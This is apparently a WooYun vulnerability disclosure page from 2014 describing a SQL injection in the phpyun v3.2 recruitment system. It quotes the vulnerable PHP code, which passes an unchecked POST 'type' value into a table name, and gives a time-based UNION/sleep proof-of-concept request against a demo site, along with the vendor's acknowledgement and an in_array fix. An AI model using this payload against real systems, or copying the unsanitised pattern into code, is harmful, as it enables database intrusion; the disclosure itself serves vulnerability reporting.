当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088544

漏洞标题:phpyun v3.2 (20141222) 继续无限制注入一枚(demo测试)。

相关厂商:php云人才系统

漏洞作者: ′雨。

提交时间:2014-12-26 15:20

修复时间:2015-03-26 15:22

公开时间:2015-03-26 15:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-26: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认,细节仅向厂商公开
2014-12-29: 细节向第三方安全合作伙伴开放
2015-02-19: 细节向核心白帽子及相关领域专家公开
2015-03-01: 细节向普通白帽子公开
2015-03-11: 细节向实习白帽子公开
2015-03-26: 细节向公众公开

简要描述:

其他地方都限制了。。 唯独这里。
直接出管理数据 无需盲注。

详细说明:

phpyun 在挺多地方都用到了$table 但是在其他地方直接定义了
或者用in_array 判断了post来的 在不在允许的范围里
但是这里却遗漏了。
member/user/model/resume.class.php中

function resume_ajax_action(){
$this->select_resume('resume_'.$_POST['type'],$_POST['id']);
}


就两行,造成了注入 这里没对post来的type做限制啥的

function select_resume($table,$id,$numresume="")
{
include(PLUS_PATH."user.cache.php");
$info=$this->obj->DB_select_once($table,"`id`='".$id."'");//这里直接把$table带入查询

$info['skillval']=$userclass_name[$info['skill']];
$info['ingval']=$userclass_name[$info['ing']];
$info['sdate']=date("Y-m-d",$info['sdate']);
if($info['edate']>0){
$info['edate']=date("Y-m-d",$info['edate']);
}else{
$info['edate']='';
$info['totoday']='1';
}
$info['numresume']=$numresume;

if(is_array($info))
{
foreach($info as $k=>$v)
{
$arr[$k]=iconv("gbk","utf-8",$v);
}
}
echo json_encode($arr);die;//直接输出
}


绕过那个还是结合safekey不用考虑post的过滤

漏洞证明:

需要注册一个个人会员。

p17.jpg


demo有安全狗 我就直接延时一下把。
http://www.hr135.com/member/index.php/admin/?c=resume&act=resume_ajax
type=cert where 1=1 union select sleep(5),2,3,4,5,6,7,8#&safekey=f213ae15d14ba9de59934fdf6e3eb70f
明显发现延时了。。

修复方案:

限制传递来的 in_array

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-12-26 17:35

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无